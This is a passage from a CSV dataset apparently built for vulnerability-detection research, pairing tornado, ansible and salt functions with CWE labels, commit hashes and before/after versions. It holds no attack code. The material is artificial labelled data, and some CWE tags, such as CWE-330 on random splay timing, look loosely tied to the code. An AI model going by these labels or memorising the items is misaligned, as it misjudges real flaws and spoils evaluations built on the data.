        return self.reactor.callLater(delay, self._run_callback, wrap(callback))",CWE-Unknown,tornadoweb/tornado,7431ffe1a0040b77087f63c0a9f29d3f7929ec72,"def add_timeout(self, deadline, callback):
        if isinstance(deadline, (int, long, float)):
            delay = max(deadline - self.time(), 0)
        elif isinstance(deadline, datetime.timedelta):
            delay = deadline.total_seconds()
        else:
            raise TypeError(""Unsupported deadline %r"")
        return self.reactor.callLater(delay, self._run_callback, wrap(callback))"
,UNKNOWN,UNKNOWN,lib/ansible/cli/pull.py,1,"def parse(self):
        ''' create an options parser for bin/ansible '''

        self.parser = CLI.base_parser(
            usage='%prog -U <repository> [options]',
            connect_opts=True,
            vault_opts=True,
            runtask_opts=True,
            subset_opts=True,
            inventory_opts=True,
            module_opts=True,
            runas_prompt_opts=True,
        )

        # options unique to pull
        self.parser.add_option('--purge', default=False, action='store_true',
            help='purge checkout after playbook run')
        self.parser.add_option('-o', '--only-if-changed', dest='ifchanged', default=False, action='store_true',
            help='only run the playbook if the repository has been updated')
        self.parser.add_option('-s', '--sleep', dest='sleep', default=None,
            help='sleep for random interval (between 0 and n number of seconds) before starting. This is a useful way to disperse git requests')
        self.parser.add_option('-f', '--force', dest='force', default=False, action='store_true',
            help='run the playbook even if the repository could not be updated')
        self.parser.add_option('-d', '--directory', dest='dest', default=None,
            help='directory to checkout repository to')
        self.parser.add_option('-U', '--url', dest='url', default=None,
            help='URL of the playbook repository')
        self.parser.add_option('--full', dest='fullclone', action='store_true',
            help='Do a full clone, instead of a shallow one.')
        self.parser.add_option('-C', '--checkout', dest='checkout',
            help='branch/tag/commit to checkout.  ' 'Defaults to behavior of repository module.')
        self.parser.add_option('--accept-host-key', default=False, dest='accept_host_key', action='store_true',
            help='adds the hostkey for the repo url if not already added')
        self.parser.add_option('-m', '--module-name', dest='module_name', default=self.DEFAULT_REPO_TYPE,
            help='Repository module name, which ansible will use to check out the repo. Default is %s.' % self.DEFAULT_REPO_TYPE)
        self.parser.add_option('--verify-commit', dest='verify', default=False, action='store_true',
            help='verify GPG signature of checked out commit, if it fails abort running the playbook.'
                 ' This needs the corresponding VCS module to support such an operation')

        self.options, self.args = self.parser.parse_args(self.args[1:])

        if not self.options.dest:
            hostname = socket.getfqdn()
            # use a hostname dependent directory, in case of $HOME on nfs
            self.options.dest = os.path.join('~/.ansible/pull', hostname)
        self.options.dest = os.path.expandvars(os.path.expanduser(self.options.dest))

        if self.options.sleep:
            try:
                secs = random.randint(0,int(self.options.sleep))
                self.options.sleep = secs
            except ValueError:
                raise AnsibleOptionsError(""%s is not a number."" % self.options.sleep)

        if not self.options.url:
            raise AnsibleOptionsError(""URL for repository not specified, use -h for help"")

        if self.options.module_name not in self.SUPPORTED_REPO_MODULES:
            raise AnsibleOptionsError(""Unsuported repo module %s, choices are %s"" % (self.options.module_name, ','.join(self.SUPPORTED_REPO_MODULES)))

        display.verbosity = self.options.verbosity
        self.validate_conflicts(vault_opts=True)",CWE-330,ansible/ansible,175c2d65108d44d95bf8e36a12b6221b08d1ed6b,"def parse(self):
        ''' create an options parser for bin/ansible '''

        self.parser = CLI.base_parser(
            usage='%prog -U <repository> [options]',
            connect_opts=True,
            vault_opts=True,
            runtask_opts=True,
            subset_opts=True,
            inventory_opts=True,
            module_opts=True,
            runas_prompt_opts=True,
        )

        # options unique to pull
        self.parser.add_option('--purge', default=False, action='store_true',
            help='purge checkout after playbook run')
        self.parser.add_option('-o', '--only-if-changed', dest='ifchanged', default=False, action='store_true',
            help='only run the playbook if the repository has been updated')
        self.parser.add_option('-s', '--sleep', dest='sleep', default=None,
            help='sleep for random interval (between 0 and n number of seconds) before starting. This is a useful way to disperse git requests')
        self.parser.add_option('-f', '--force', dest='force', default=False, action='store_true',
            help='run the playbook even if the repository could not be updated')
        self.parser.add_option('-d', '--directory', dest='dest', default=None,
            help='directory to checkout repository to')
        self.parser.add_option('-U', '--url', dest='url', default=None,
            help='URL of the playbook repository')
        self.parser.add_option('-C', '--checkout', dest='checkout',
            help='branch/tag/commit to checkout.  ' 'Defaults to behavior of repository module.')
        self.parser.add_option('--accept-host-key', default=False, dest='accept_host_key', action='store_true',
            help='adds the hostkey for the repo url if not already added')
        self.parser.add_option('-m', '--module-name', dest='module_name', default=self.DEFAULT_REPO_TYPE,
            help='Repository module name, which ansible will use to check out the repo. Default is %s.' % self.DEFAULT_REPO_TYPE)
        self.parser.add_option('--verify-commit', dest='verify', default=False, action='store_true',
            help='verify GPG signature of checked out commit, if it fails abort running the playbook.'
                 ' This needs the corresponding VCS module to support such an operation')

        self.options, self.args = self.parser.parse_args(self.args[1:])

        if not self.options.dest:
            hostname = socket.getfqdn()
            # use a hostname dependent directory, in case of $HOME on nfs
            self.options.dest = os.path.join('~/.ansible/pull', hostname)
        self.options.dest = os.path.expandvars(os.path.expanduser(self.options.dest))

        if self.options.sleep:
            try:
                secs = random.randint(0,int(self.options.sleep))
                self.options.sleep = secs
            except ValueError:
                raise AnsibleOptionsError(""%s is not a number."" % self.options.sleep)

        if not self.options.url:
            raise AnsibleOptionsError(""URL for repository not specified, use -h for help"")

        if self.options.module_name not in self.SUPPORTED_REPO_MODULES:
            raise AnsibleOptionsError(""Unsuported repo module %s, choices are %s"" % (self.options.module_name, ','.join(self.SUPPORTED_REPO_MODULES)))

        display.verbosity = self.options.verbosity
        self.validate_conflicts(vault_opts=True)"
,UNKNOWN,UNKNOWN,salt/utils/schedule.py,1,"def eval(self):
        '''
        Evaluate and execute the schedule
        '''

        def _splay(splaytime):
            '''
            Calculate splaytime
            '''
            splay_ = None
            if isinstance(splaytime, dict):
                if splaytime['end'] >= splaytime['start']:
                    splay_ = random.randint(splaytime['start'],
                                            splaytime['end'])
                else:
                    log.error('schedule.handle_func: Invalid Splay, '
                              'end must be larger than start. Ignoring splay.')
            else:
                splay_ = random.randint(1, splaytime)
            return splay_

        schedule = self._get_schedule()
        if not isinstance(schedule, dict):
            raise ValueError('Schedule must be of type dict.')
        if 'enabled' in schedule and not schedule['enabled']:
            return
        for job, data in six.iteritems(schedule):
            if job == 'enabled' or not data:
                continue
            if not isinstance(data, dict):
                log.error('Scheduled job ""{0}"" should have a dict value, not {1}'.format(job, type(data)))
                continue
            # Job is disabled, continue
            if 'enabled' in data and not data['enabled']:
                continue
            if 'function' in data:
                func = data['function']
            elif 'func' in data:
                func = data['func']
            elif 'fun' in data:
                func = data['fun']
            else:
                func = None
            if func not in self.functions:
                log.info(
                    'Invalid function: {0} in scheduled job {1}.'.format(
                        func, job
                    )
                )
            if 'name' not in data:
                data['name'] = job

            if '_next_fire_time' not in data:
                data['_next_fire_time'] = None

            if '_splay' not in data:
                data['_splay'] = None

            if 'run_on_start' in data and \
                    data['run_on_start'] and \
                    '_run_on_start' not in data:
                data['_run_on_start'] = True

            now = int(time.time())

            if 'until' in data:
                if not _WHEN_SUPPORTED:
                    log.error('Missing python-dateutil. '
                              'Ignoring until.')
                else:
                    until__ = dateutil_parser.parse(data['until'])
                    until = int(time.mktime(until__.timetuple()))

                    if until <= now:
                        log.debug('Until time has passed '
                                  'skipping job: {0}.'.format(data['name']))
                        continue

            if 'after' in data:
                if not _WHEN_SUPPORTED:
                    log.error('Missing python-dateutil. '
                              'Ignoring after.')
                else:
                    after__ = dateutil_parser.parse(data['after'])
                    after = int(time.mktime(after__.timetuple()))

                    if after >= now:
                        log.debug('After time has not passed '
                                  'skipping job: {0}.'.format(data['name']))
                        continue

            # Used for quick lookups when detecting invalid option combinations.
            schedule_keys = set(data.keys())

            time_elements = ('seconds', 'minutes', 'hours', 'days')
            scheduling_elements = ('when', 'cron', 'once')

            invalid_sched_combos = [set(i)
                    for i in itertools.combinations(scheduling_elements, 2)]

            if any(i <= schedule_keys for i in invalid_sched_combos):
                log.error('Unable to use ""{0}"" options together. Ignoring.'
                          .format('"", ""'.join(scheduling_elements)))
                continue

            invalid_time_combos = []
            for item in scheduling_elements:
                all_items = itertools.chain([item], time_elements)
                invalid_time_combos.append(
                    set(itertools.combinations(all_items, 2)))

            if any(set(x) <= schedule_keys for x in invalid_time_combos):
                log.error('Unable to use ""{0}"" with ""{1}"" options. Ignoring'
                          .format('"", ""'.join(time_elements),
                                  '"", ""'.join(scheduling_elements)))
                continue

            if True in [True for item in time_elements if item in data]:
                if '_seconds' not in data:
                    interval = int(data.get('seconds', 0))
                    interval += int(data.get('minutes', 0)) * 60
                    interval += int(data.get('hours', 0)) * 3600
                    interval += int(data.get('days', 0)) * 86400

                    data['_seconds'] = interval

                    if not data['_next_fire_time']:
                        data['_next_fire_time'] = now + data['_seconds']

                    if interval < self.loop_interval:
                        self.loop_interval = interval

            elif 'once' in data:
                if data['_next_fire_time'] and \
                        data['_next_fire_time'] != now and \
                        not data['_splay']:
                    continue

                if not data['_next_fire_time'] and \
                        not data['_splay']:
                    once_fmt = data.get('once_fmt', '%Y-%m-%dT%H:%M:%S')
                    try:
                        once = datetime.datetime.strptime(data['once'],
                                                          once_fmt)
                        data['_next_fire_time'] = int(
                            time.mktime(once.timetuple()))
                    except (TypeError, ValueError):
                        log.error('Date string could not be parsed: %s, %s',
                                  data['once'], once_fmt)
                        continue
                    if data['_next_fire_time'] != now:
                        continue

            elif 'when' in data:
                if not _WHEN_SUPPORTED:
                    log.error('Missing python-dateutil. '
                              'Ignoring job {0}.'.format(job))
                    continue

                if isinstance(data['when'], list):
                    _when = []
                    for i in data['when']:
                        if ('pillar' in self.opts and 'whens' in self.opts['pillar'] and
                                i in self.opts['pillar']['whens']):
                            if not isinstance(self.opts['pillar']['whens'],
                                              dict):
                                log.error('Pillar item ""whens"" must be dict. '
                                          'Ignoring')
                                continue
                            __when = self.opts['pillar']['whens'][i]
                            try:
                                when__ = dateutil_parser.parse(__when)
                            except ValueError:
                                log.error('Invalid date string. Ignoring')
                                continue
                        elif ('whens' in self.opts['grains'] and
                              i in self.opts['grains']['whens']):
                            if not isinstance(self.opts['grains']['whens'],
                                              dict):
                                log.error('Grain ""whens"" must be dict.'
                                          'Ignoring')
                                continue
                            __when = self.opts['grains']['whens'][i]
                            try:
                                when__ = dateutil_parser.parse(__when)
                            except ValueError:
                                log.error('Invalid date string. Ignoring')
                                continue
                        else:
                            try:
                                when__ = dateutil_parser.parse(i)
                            except ValueError:
                                log.error('Invalid date string {0}. '
                                          'Ignoring job {1}.'.format(i, job))
                                continue
                        _when.append(int(time.mktime(when__.timetuple())))

                    if data['_splay']:
                        _when.append(data['_splay'])

                    # Sort the list of ""whens"" from earlier to later schedules
                    _when.sort()

                    # Copy the list so we can loop through it
                    for i in copy.deepcopy(_when):
                        if i < now and len(_when) > 1:
                            # Remove all missed schedules except the latest one.
                            # We need it to detect if it was triggered previously.
                            _when.remove(i)

                    if _when:
                        # Grab the first element, which is the next run time or
                        # last scheduled time in the past.
                        when = _when[0]

                        if '_run' not in data:
                            # Prevent run of jobs from the past
                            data['_run'] = bool(when >= now)

                        if not data['_next_fire_time']:
                            data['_next_fire_time'] = when

                        if data['_next_fire_time'] < when and \
                                not data['_run']:
                            data['_next_fire_time'] = when
                            data['_run'] = True

                    elif not data.get('_run', False):
                        data['_next_fire_time'] = None
                        continue

                else:
                    if ('pillar' in self.opts and 'whens' in self.opts['pillar'] and
                            data['when'] in self.opts['pillar']['whens']):
                        if not isinstance(self.opts['pillar']['whens'], dict):
                            log.error('Pillar item ""whens"" must be dict.'
                                      'Ignoring')
                            continue
                        _when = self.opts['pillar']['whens'][data['when']]
                        try:
                            when__ = dateutil_parser.parse(_when)
                        except ValueError:
                            log.error('Invalid date string. Ignoring')
                            continue
                    elif ('whens' in self.opts['grains'] and
                          data['when'] in self.opts['grains']['whens']):
                        if not isinstance(self.opts['grains']['whens'], dict):
                            log.error('Grain ""whens"" must be dict. Ignoring')
                            continue
                        _when = self.opts['grains']['whens'][data['when']]
                        try:
                            when__ = dateutil_parser.parse(_when)
                        except ValueError:
                            log.error('Invalid date string. Ignoring')
                            continue
                    else:
                        try:
                            when__ = dateutil_parser.parse(data['when'])
                        except ValueError:
                            log.error('Invalid date string. Ignoring')
                            continue
                    when = int(time.mktime(when__.timetuple()))

                    if when < now and \
                            not data.get('_run', False) and \
                            not data['_splay']:
                        data['_next_fire_time'] = None
                        continue

                    if '_run' not in data:
                        data['_run'] = True

                    if not data['_next_fire_time']:
                        data['_next_fire_time'] = when

                    if data['_next_fire_time'] < when and \
                            not data['_run']:
                        data['_next_fire_time'] = when
                        data['_run'] = True

            elif 'cron' in data:
                if not _CRON_SUPPORTED:
                    log.error('Missing python-croniter. Ignoring job {0}'.format(job))
                    continue

                if data['_next_fire_time'] is None:
                    # Get next time frame for a ""cron"" job if it has been never
                    # executed before or already executed in the past.
                    try:
                        data['_next_fire_time'] = int(
                            croniter.croniter(data['cron'], now).get_next())
                    except (ValueError, KeyError):
                        log.error('Invalid cron string. Ignoring')
                        continue

                    # If next job run is scheduled more than 1 minute ahead and
                    # configured loop interval is longer than that, we should
                    # shorten it to get our job executed closer to the beginning
                    # of desired time.
                    interval = now - data['_next_fire_time']
                    if interval >= 60 and interval < self.loop_interval:
                        self.loop_interval = interval

            else:
                continue

            run = False
            seconds = data['_next_fire_time'] - now
            if data['_splay']:
                seconds = data['_splay'] - now
            if seconds <= 0:
                if '_seconds' in data:
                    run = True
                elif 'when' in data and data['_run']:
                    data['_run'] = False
                    run = True
                elif 'cron' in data:
                    # Reset next scheduled time because it is in the past now,
                    # and we should trigger the job run, then wait for the next one.
                    data['_next_fire_time'] = None
                    run = True
                elif seconds == 0:
                    run = True

            if '_run_on_start' in data and data['_run_on_start']:
                run = True
                data['_run_on_start'] = False
            elif run:
                if 'splay' in data and not data['_splay']:
                    splay = _splay(data['splay'])
                    if now < data['_next_fire_time'] + splay:
                        log.debug('schedule.handle_func: Adding splay of '
                                  '{0} seconds to next run.'.format(splay))
                        run = False
                        data['_splay'] = data['_next_fire_time'] + splay
                        if 'when' in data:
                            data['_run'] = True

                if 'range' in data:
                    if not _RANGE_SUPPORTED:
                        log.error('Missing python-dateutil. Ignoring job {0}'.format(job))
                        continue
                    else:
                        if isinstance(data['range'], dict):
                            try:
                                start = int(time.mktime(dateutil_parser.parse(data['range']['start']).timetuple()))
                            except ValueError:
                                log.error('Invalid date string for start. Ignoring job {0}.'.format(job))
                                continue
                            try:
                                end = int(time.mktime(dateutil_parser.parse(data['range']['end']).timetuple()))
                            except ValueError:
                                log.error('Invalid date string for end. Ignoring job {0}.'.format(job))
                                continue
                            if end > start:
                                if 'invert' in data['range'] and data['range']['invert']:
                                    if now <= start or now >= end:
                                        run = True
                                    else:
                                        run = False
                                else:
                                    if start <= now <= end:
                                        run = True
                                    else:
                                        run = False
                            else:
                                log.error('schedule.handle_func: Invalid range, end must be larger than start. \
                                         Ignoring job {0}.'.format(job))
                                continue
                        else:
                            log.error('schedule.handle_func: Invalid, range must be specified as a dictionary. \
                                     Ignoring job {0}.'.format(job))
                            continue

            if not run:
                continue

            miss_msg = ''
            if seconds < 0:
                miss_msg = ' (runtime missed ' \
                           'by {0} seconds)'.format(abs(seconds))

            log.info('Running scheduled job: {0}{1}'.format(job, miss_msg))

            if 'jid_include' not in data or data['jid_include']:
                data['jid_include'] = True
                log.debug('schedule: This job was scheduled with jid_include, '
                          'adding to cache (jid_include defaults to True)')
                if 'maxrunning' in data:
                    log.debug('schedule: This job was scheduled with a max '
                              'number of {0}'.format(data['maxrunning']))
                else:
                    log.info('schedule: maxrunning parameter was not specified for '
                             'job {0}, defaulting to 1.'.format(job))
                    data['maxrunning'] = 1

            multiprocessing_enabled = self.opts.get('multiprocessing', True)

            if salt.utils.platform.is_windows():
                # Temporarily stash our function references.
                # You can't pickle function references, and pickling is
                # required when spawning new processes on Windows.
                functions = self.functions
                self.functions = {}
                returners = self.returners
                self.returners = {}
            try:
                if multiprocessing_enabled:
                    thread_cls = salt.utils.process.SignalHandlingMultiprocessingProcess
                else:
                    thread_cls = threading.Thread
                proc = thread_cls(target=self.handle_func, args=(multiprocessing_enabled, func, data))

                if multiprocessing_enabled:
                    with salt.utils.process.default_signals(signal.SIGINT, signal.SIGTERM):
                        # Reset current signals before starting the process in
                        # order not to inherit the current signal handlers
                        proc.start()
                else:
                    proc.start()

                if multiprocessing_enabled:
                    proc.join()
            finally:
                if '_seconds' in data:
                    data['_next_fire_time'] = now + data['_seconds']
                data['_splay'] = None
            if salt.utils.platform.is_windows():
                # Restore our function references.
                self.functions = functions
                self.returners = returners","CWE-94, CWE-330",saltstack/salt,c755fc72357e8f9325cae6c2f9184ff699f1bdd3,"def eval(self):
        '''
        Evaluate and execute the schedule
        '''

        def _splay(splaytime):
            '''
            Calculate splaytime
            '''
            splay_ = None
            if isinstance(splaytime, dict):
                if splaytime['end'] >= splaytime['start']:
                    splay_ = random.randint(splaytime['start'],
                                            splaytime['end'])
                else:
                    log.error('schedule.handle_func: Invalid Splay, '
                              'end must be larger than start. Ignoring splay.')
            else:
                splay_ = random.randint(1, splaytime)
            return splay_

        schedule = self._get_schedule()
        if not isinstance(schedule, dict):
            raise ValueError('Schedule must be of type dict.')
        if 'enabled' in schedule and not schedule['enabled']:
            return
        for job, data in six.iteritems(schedule):
            if job == 'enabled' or not data:
                continue
            if not isinstance(data, dict):
                log.error('Scheduled job ""{0}"" should have a dict value, not {1}'.format(job, type(data)))
                continue
            # Job is disabled, continue
            if 'enabled' in data and not data['enabled']:
                continue
            if 'function' in data:
                func = data['function']
            elif 'func' in data:
                func = data['func']
            elif 'fun' in data:
                func = data['fun']
            else:
                func = None
            if func not in self.functions:
                log.info(
                    'Invalid function: {0} in scheduled job {1}.'.format(
                        func, job
                    )
                )
            if 'name' not in data:
                data['name'] = job

            if '_next_fire_time' not in data:
                data['_next_fire_time'] = None

            if '_splay' not in data:
                data['_splay'] = None

            if 'run_on_start' in data and \
                    data['run_on_start'] and \
                    '_run_on_start' not in data:
                data['_run_on_start'] = True

            now = int(time.time())

            if 'until' in data:
                if not _WHEN_SUPPORTED:
                    log.error('Missing python-dateutil. '
                              'Ignoring until.')
                else:
                    until__ = dateutil_parser.parse(data['until'])
                    until = int(time.mktime(until__.timetuple()))

                    if until <= now:
                        log.debug('Until time has passed '
                                  'skipping job: {0}.'.format(data['name']))
                        continue

            if 'after' in data:
                if not _WHEN_SUPPORTED:
                    log.error('Missing python-dateutil. '
                              'Ignoring after.')
                else:
                    after__ = dateutil_parser.parse(data['after'])
                    after = int(time.mktime(after__.timetuple()))

                    if after >= now:
                        log.debug('After time has not passed '
                                  'skipping job: {0}.'.format(data['name']))
                        continue

            # Used for quick lookups when detecting invalid option combinations.
            schedule_keys = set(data.keys())

            time_elements = ('seconds', 'minutes', 'hours', 'days')
            scheduling_elements = ('when', 'cron', 'once')

            invalid_sched_combos = [set(i)
                    for i in itertools.combinations(scheduling_elements, 2)]

            if any(i <= schedule_keys for i in invalid_sched_combos):
                log.error('Unable to use ""{0}"" options together. Ignoring.'
                          .format('"", ""'.join(scheduling_elements)))
                continue

            invalid_time_combos = []
            for item in scheduling_elements:
                all_items = itertools.chain([item], time_elements)
                invalid_time_combos.append(
                    set(itertools.combinations(all_items, 2)))

            if any(set(x) <= schedule_keys for x in invalid_time_combos):
                log.error('Unable to use ""{0}"" with ""{1}"" options. Ignoring'
                          .format('"", ""'.join(time_elements),
                                  '"", ""'.join(scheduling_elements)))
                continue

            if True in [True for item in time_elements if item in data]:
                if '_seconds' not in data:
                    interval = int(data.get('seconds', 0))
                    interval += int(data.get('minutes', 0)) * 60
                    interval += int(data.get('hours', 0)) * 3600
                    interval += int(data.get('days', 0)) * 86400

                    data['_seconds'] = interval

                    if not data['_next_fire_time']:
                        data['_next_fire_time'] = now + data['_seconds']

                    if interval < self.loop_interval:
                        self.loop_interval = interval

            elif 'once' in data:
                if data['_next_fire_time'] and \
                        data['_next_fire_time'] != now and \
                        not data['_splay']:
                    continue

                if not data['_next_fire_time'] and \
                        not data['_splay']:
                    once_fmt = data.get('once_fmt', '%Y-%m-%dT%H:%M:%S')
                    try:
                        once = datetime.datetime.strptime(data['once'],
                                                          once_fmt)
                        data['_next_fire_time'] = int(
                            time.mktime(once.timetuple()))
                    except (TypeError, ValueError):
                        log.error('Date string could not be parsed: %s, %s',
                                  data['once'], once_fmt)
                        continue
                    if data['_next_fire_time'] != now:
                        continue

            elif 'when' in data:
                if not _WHEN_SUPPORTED:
                    log.error('Missing python-dateutil. '
                              'Ignoring job {0}.'.format(job))
                    continue

                if isinstance(data['when'], list):
                    _when = []
                    for i in data['when']:
                        if ('pillar' in self.opts and 'whens' in self.opts['pillar'] and
                                i in self.opts['pillar']['whens']):
                            if not isinstance(self.opts['pillar']['whens'],
                                              dict):
                                log.error('Pillar item ""whens"" must be dict. '
                                          'Ignoring')
                                continue
                            __when = self.opts['pillar']['whens'][i]
                            try:
                                when__ = dateutil_parser.parse(__when)
                            except ValueError:
                                log.error('Invalid date string. Ignoring')
                                continue
                        elif ('whens' in self.opts['grains'] and
                              i in self.opts['grains']['whens']):
                            if not isinstance(self.opts['grains']['whens'],
                                              dict):
                                log.error('Grain ""whens"" must be dict.'
                                          'Ignoring')
                                continue
                            __when = self.opts['grains']['whens'][i]
                            try:
                                when__ = dateutil_parser.parse(__when)
                            except ValueError:
                                log.error('Invalid date string. Ignoring')
                                continue
                        else:
                            try:
                                when__ = dateutil_parser.parse(i)
                            except ValueError:
                                log.error('Invalid date string {0}. '
                                          'Ignoring job {1}.'.format(i, job))
                                continue
                        _when.append(int(time.mktime(when__.timetuple())))

                    if data['_splay']:
                        _when.append(data['_splay'])

                    # Sort the list of ""whens"" from earlier to later schedules
                    _when.sort()

                    for i in _when:
                        if i < now and len(_when) > 1:
                            # Remove all missed schedules except the latest one.
                            # We need it to detect if it was triggered previously.
                            _when.remove(i)

                    if _when:
                        # Grab the first element, which is the next run time or
                        # last scheduled time in the past.
                        when = _when[0]

                        if '_run' not in data:
                            # Prevent run of jobs from the past
                            data['_run'] = bool(when >= now)

                        if not data['_next_fire_time']:
                            data['_next_fire_time'] = when

                        if data['_next_fire_time'] < when and \
                                not data['_run']:
                            data['_next_fire_time'] = when
                            data['_run'] = True

                    elif not data.get('_run', False):
                        data['_next_fire_time'] = None
                        continue

                else:
                    if ('pillar' in self.opts and 'whens' in self.opts['pillar'] and
                            data['when'] in self.opts['pillar']['whens']):
                        if not isinstance(self.opts['pillar']['whens'], dict):
                            log.error('Pillar item ""whens"" must be dict.'
                                      'Ignoring')
                            continue
                        _when = self.opts['pillar']['whens'][data['when']]
                        try:
                            when__ = dateutil_parser.parse(_when)
                        except ValueError:
                            log.error('Invalid date string. Ignoring')
                            continue
                    elif ('whens' in self.opts['grains'] and
                          data['when'] in self.opts['grains']['whens']):
                        if not isinstance(self.opts['grains']['whens'], dict):
                            log.error('Grain ""whens"" must be dict. Ignoring')
                            continue
                        _when = self.opts['grains']['whens'][data['when']]
                        try:
                            when__ = dateutil_parser.parse(_when)
                        except ValueError:
                            log.error('Invalid date string. Ignoring')
                            continue
                    else:
                        try:
                            when__ = dateutil_parser.parse(data['when'])
                        except ValueError:
                            log.error('Invalid date string. Ignoring')
                            continue
                    when = int(time.mktime(when__.timetuple()))

                    if when < now and \
                            not data.get('_run', False) and \
                            not data['_splay']:
                        data['_next_fire_time'] = None
                        continue

                    if '_run' not in data:
                        data['_run'] = True

                    if not data['_next_fire_time']:
                        data['_next_fire_time'] = when

                    if data['_next_fire_time'] < when and \
                            not data['_run']:
                        data['_next_fire_time'] = when
                        data['_run'] = True

            elif 'cron' in data:
                if not _CRON_SUPPORTED:
                    log.error('Missing python-croniter. Ignoring job {0}'.format(job))
                    continue

                if data['_next_fire_time'] is None:
                    # Get next time frame for a ""cron"" job if it has been never
                    # executed before or already executed in the past.
                    try:
                        data['_next_fire_time'] = int(
                            croniter.croniter(data['cron'], now).get_next())
                    except (ValueError, KeyError):
                        log.error('Invalid cron string. Ignoring')
                        continue

                    # If next job run is scheduled more than 1 minute ahead and
                    # configured loop interval is longer than that, we should
                    # shorten it to get our job executed closer to the beginning
                    # of desired time.
                    interval = now - data['_next_fire_time']
                    if interval >= 60 and interval < self.loop_interval:
                        self.loop_interval = interval

            else:
                continue

            run = False
            seconds = data['_next_fire_time'] - now
            if data['_splay']:
                seconds = data['_splay'] - now
            if seconds <= 0:
                if '_seconds' in data:
                    run = True
                elif 'when' in data and data['_run']:
                    data['_run'] = False
                    run = True
                elif 'cron' in data:
                    # Reset next scheduled time because it is in the past now,
                    # and we should trigger the job run, then wait for the next one.
                    data['_next_fire_time'] = None
                    run = True
                elif seconds == 0:
                    run = True

            if '_run_on_start' in data and data['_run_on_start']:
                run = True
                data['_run_on_start'] = False
            elif run:
                if 'splay' in data and not data['_splay']:
                    splay = _splay(data['splay'])
                    if now < data['_next_fire_time'] + splay:
                        log.debug('schedule.handle_func: Adding splay of '
                                  '{0} seconds to next run.'.format(splay))
                        run = False
                        data['_splay'] = data['_next_fire_time'] + splay
                        if 'when' in data:
                            data['_run'] = True

                if 'range' in data:
                    if not _RANGE_SUPPORTED:
                        log.error('Missing python-dateutil. Ignoring job {0}'.format(job))
                        continue
                    else:
                        if isinstance(data['range'], dict):
                            try:
                                start = int(time.mktime(dateutil_parser.parse(data['range']['start']).timetuple()))
                            except ValueError:
                                log.error('Invalid date string for start. Ignoring job {0}.'.format(job))
                                continue
                            try:
                                end = int(time.mktime(dateutil_parser.parse(data['range']['end']).timetuple()))
                            except ValueError:
                                log.error('Invalid date string for end. Ignoring job {0}.'.format(job))
                                continue
                            if end > start:
                                if 'invert' in data['range'] and data['range']['invert']:
                                    if now <= start or now >= end:
                                        run = True
                                    else:
                                        run = False
                                else:
                                    if start <= now <= end:
                                        run = True
                                    else:
                                        run = False
                            else:
                                log.error('schedule.handle_func: Invalid range, end must be larger than start. \
                                         Ignoring job {0}.'.format(job))
                                continue
                        else:
                            log.error('schedule.handle_func: Invalid, range must be specified as a dictionary. \
                                     Ignoring job {0}.'.format(job))
                            continue

            if not run:
                continue

            miss_msg = ''
            if seconds < 0:
                miss_msg = ' (runtime missed ' \
                           'by {0} seconds)'.format(abs(seconds))

            log.info('Running scheduled job: {0}{1}'.format(job, miss_msg))

            if 'jid_include' not in data or data['jid_include']:
                data['jid_include'] = True
                log.debug('schedule: This job was scheduled with jid_include, '
                          'adding to cache (jid_include defaults to True)')
                if 'maxrunning' in data:
                    log.debug('schedule: This job was scheduled with a max '
                              'number of {0}'.format(data['maxrunning']))
                else:
                    log.info('schedule: maxrunning parameter was not specified for '
                             'job {0}, defaulting to 1.'.format(job))
                    data['maxrunning'] = 1

            multiprocessing_enabled = self.opts.get('multiprocessing', True)

            if salt.utils.platform.is_windows():
                # Temporarily stash our function references.
                # You can't pickle function references, and pickling is
                # required when spawning new processes on Windows.
                functions = self.functions
                self.functions = {}
                returners = self.returners
                self.returners = {}
            try:
                if multiprocessing_enabled:
                    thread_cls = salt.utils.process.SignalHandlingMultiprocessingProcess
                else:
                    thread_cls = threading.Thread
                proc = thread_cls(target=self.handle_func, args=(multiprocessing_enabled, func, data))

                if multiprocessing_enabled:
                    with salt.utils.process.default_signals(signal.SIGINT, signal.SIGTERM):
                        # Reset current signals before starting the process in
                        # order not to inherit the current signal handlers
                        proc.start()
                else:
                    proc.start()

                if multiprocessing_enabled:
                    proc.join()
            finally:
                if '_seconds' in data:
                    data['_next_fire_time'] = now + data['_seconds']
                data['_splay'] = None
            if salt.utils.platform.is_windows():
                # Restore our function references.
                self.functions = functions
                self.returners = returners"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/vars/manager.py,0,"def set_host_variable(self, host, varname, value):
        """"""
        Sets a value in the vars_cache for a host.
        """"""

        warn_if_reserved([varname])
        if host not in self._vars_cache:
            self._vars_cache[host] = dict()
        if varname in self._vars_cache[host] and isinstance(self._vars_cache[host][varname], MutableMapping) and isinstance(value, MutableMapping):
            self._vars_cache[host] = combine_vars(self._vars_cache[host], {varname: value})
        else:
            self._vars_cache[host][varname] = value",,ansible/ansible,48d71ba3aaf5f815d8193f7cd5bafccc76520c60,"def set_host_variable(self, host, varname, value):
        """"""
        Sets a value in the vars_cache for a host.
        """"""

        warn_if_reserved(varname)
        if host not in self._vars_cache:
            self._vars_cache[host] = dict()
        if varname in self._vars_cache[host] and isinstance(self._vars_cache[host][varname], MutableMapping) and isinstance(value, MutableMapping):
            self._vars_cache[host] = combine_vars(self._vars_cache[host], {varname: value})
        else:
            self._vars_cache[host][varname] = value"
,UNKNOWN,UNKNOWN,saltcloud/utils/__init__.py,1,"def deploy_script(host, port=22, timeout=900, username='root',
                  password=None, key_filename=None, script=None,
                  deploy_command='/tmp/deploy.sh', sudo=False, tty=None,
                  name=None, pub_key=None, sock_dir=None, provider=None,
                  conf_file=None, start_action=None, make_master=False,
                  master_pub=None, master_pem=None, master_conf=None,
                  minion_pub=None, minion_pem=None, minion_conf=None,
                  keep_tmp=False, script_args=None, script_env=None,
                  ssh_timeout=15, make_syndic=False, make_minion=True,
                  display_ssh_output=True, preseed_minion_keys=None,
                  parallel=False):
    '''
    Copy a deploy script to a remote server, execute it, and remove it
    '''
    if key_filename is not None and not os.path.isfile(key_filename):
        raise SaltCloudConfigError(
            'The defined key_filename {0!r} does not exist'.format(
                key_filename
            )
        )
    starttime = time.mktime(time.localtime())
    log.debug('Deploying {0} at {1}'.format(host, starttime))
    if wait_for_ssh(host=host, port=port, timeout=timeout):
        log.debug('SSH port {0} on {1} is available'.format(port, host))
        newtimeout = timeout - (time.mktime(time.localtime()) - starttime)
        if wait_for_passwd(host, port=port, username=username,
                           password=password, key_filename=key_filename,
                           ssh_timeout=ssh_timeout,
                           display_ssh_output=display_ssh_output):
            log.debug(
